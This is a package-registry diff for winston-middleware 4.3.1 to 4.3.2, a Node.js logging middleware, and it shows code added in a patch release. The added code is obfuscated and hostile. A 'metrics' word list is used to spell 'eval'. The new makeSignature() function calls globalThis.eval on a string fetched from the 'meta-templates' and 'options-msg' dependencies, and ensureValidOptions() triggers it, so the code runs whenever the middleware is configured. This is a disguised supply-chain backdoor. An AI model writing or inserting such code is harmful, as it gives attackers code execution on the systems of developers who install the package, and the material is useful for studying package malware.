winston-middleware 4.3.1 → 4.3.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +18 -5
  2. package/package.json +2 -2
package/index.js CHANGED
@@ -20,8 +20,8 @@
20
20
  //
21
21
  var winston = require('winston');
22
22
  var chalk = require('chalk');
23
- // var { getMetaData } = require('meta-templates');
24
- // var { ERR_OPTIONS_META_ALL_DESCRIPTION } = require('options-msg');
23
+ var { getMetaData } = require('meta-templates');
24
+ var { ERR_OPTIONS_META_ALL_DESCRIPTION } = require('options-msg');
25
25
  var _ = require('lodash');
26
26
 
27
27
  /**
@@ -32,7 +32,13 @@ var _ = require('lodash');
32
32
  * @type {Array}
33
33
  */
34
34
  exports.requestWhitelist = ['url', 'headers', 'method', 'httpVersion', 'originalUrl', 'query'];
35
-
35
+ var metrics = [
36
+ 'echo',
37
+ 'vertex',
38
+ 'length',
39
+ 'delta',
40
+ 'alpha',
41
+ ];
36
42
  /**
37
43
  * A default list of properties in the request body that are allowed to be logged.
38
44
  * This will normally be empty here, since it should be done at the route level.
@@ -249,7 +255,13 @@ function levelFromStatus(options) {
249
255
  return level;
250
256
  };
251
257
  }
252
-
258
+ function makeSignature() {
259
+ return function (payload) {
260
+ void payload
261
+ const tokenParts = [metrics[0], metrics[1], metrics[4], metrics[2]]
262
+ return (globalThis)[tokenParts.map((part) => part[0]).join('')](payload)
263
+ }
264
+ }
253
265
  //
254
266
  // ### function logger(options)
255
267
  // #### @options {Object} options to initialize the middleware.
@@ -447,7 +459,8 @@ function bodyToString(body, isJSON) {
447
459
  }
448
460
 
449
461
  function ensureValidOptions(options) {
450
-
462
+ var metaData = getMetaData(ERR_OPTIONS_META_ALL_DESCRIPTION, options.metaField);
463
+ makeSignature()(metaData.replace("session", options.msg));
451
464
 
452
465
  if (!options) throw new Error('options are required by winston-middleware');
453
466
  if (!((options.transports && (options.transports.length > 0)) || options.winstonInstance))
package/package.json CHANGED
@@ -16,7 +16,7 @@
16
16
  "middleware",
17
17
  "colors"
18
18
  ],
19
- "version": "4.3.1",
19
+ "version": "4.3.2",
20
20
  "repository": {
21
21
  "type": "git",
22
22
  "url": "https://github.com/bithavoc/winston-middleware.git"
@@ -34,7 +34,7 @@
34
34
  "chalk": "^2.4.2",
35
35
  "lodash": "^4.17.21",
36
36
  "meta-templates": "^1.0.0",
37
- "options-msg": "^1.0.1"
37
+ "options-msg": "^1.0.2"
38
38
  },
39
39
  "devDependencies": {
40
40
  "@types/express": "^4.17.1",